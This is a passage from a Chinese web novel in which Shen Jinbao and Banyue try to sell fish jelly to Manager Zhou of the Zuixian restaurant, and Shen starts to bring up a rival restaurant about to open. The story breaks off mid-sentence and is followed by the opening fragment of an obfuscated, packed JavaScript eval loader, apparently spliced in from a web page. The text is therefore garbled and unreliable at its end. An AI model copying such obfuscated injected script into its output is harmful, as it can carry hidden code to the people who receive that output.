淡蓝色的缠枝纹从琥珀色的冻子底下透上来，衬得鱼冻愈发剔透，里面的豆腐丁和鱼肉丝清清楚楚，连断口处的纹路都看得见。
伙计正要去后堂送菜，沈金宝把碟子往他托盘上一搁：“麻烦把这个端给你们掌柜的尝尝，不耽误他工夫。他要是看不上，我们扭头就走。”
伙计低头看了一眼那碟鱼冻，确实好看，晶莹剔透的一碟，光看着就叫人嘴里泛口水。他犹豫了一下，端着托盘进去了。
不多时，后堂的门帘一掀，一个四十来岁的中年人走了出来。身上穿着青绸袍子，白白净净的，手里端着那碟鱼冻，已经少了两片。
“这谁做的？怎么卖的？”周掌柜的目光越过沈金宝，落在半月身上。
“我做的，四文钱一份。”半月上前一步。
周掌柜又夹了一片放进嘴里，嚼了嚼，点点头：“味道不错，卖相也好。”他看了看半月，又看了看沈金宝，“你们想往我这儿供货？”
半月连忙点头。
周掌柜却把碟子搁在旁边的桌上，话锋一转：“不好意思，我们醉仙楼有固定的凉菜师傅，外头的东西不好随意加。二位的心意我领了，这碟子鱼冻我买了，按你们的价。”他从袖子里摸出四文钱递过来。
沈金宝没接那钱，靠在门框上，把木棍换了个手，语气懒洋洋的：“周掌柜，对面那条街听说要开新酒楼？叫什么来着——百味楼？”
周掌柜的手一顿，脸上的笑淡了几分。
“百味楼一开，您这儿的老客人怕是坐不住
;eval(function(p,a,c,k,e,d){e=function(c){return(c